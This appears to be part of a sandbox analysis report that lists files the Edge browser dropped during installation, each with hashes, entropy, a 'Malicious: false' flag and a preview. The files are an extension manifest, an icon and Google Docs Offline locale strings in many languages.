Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1736767561\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
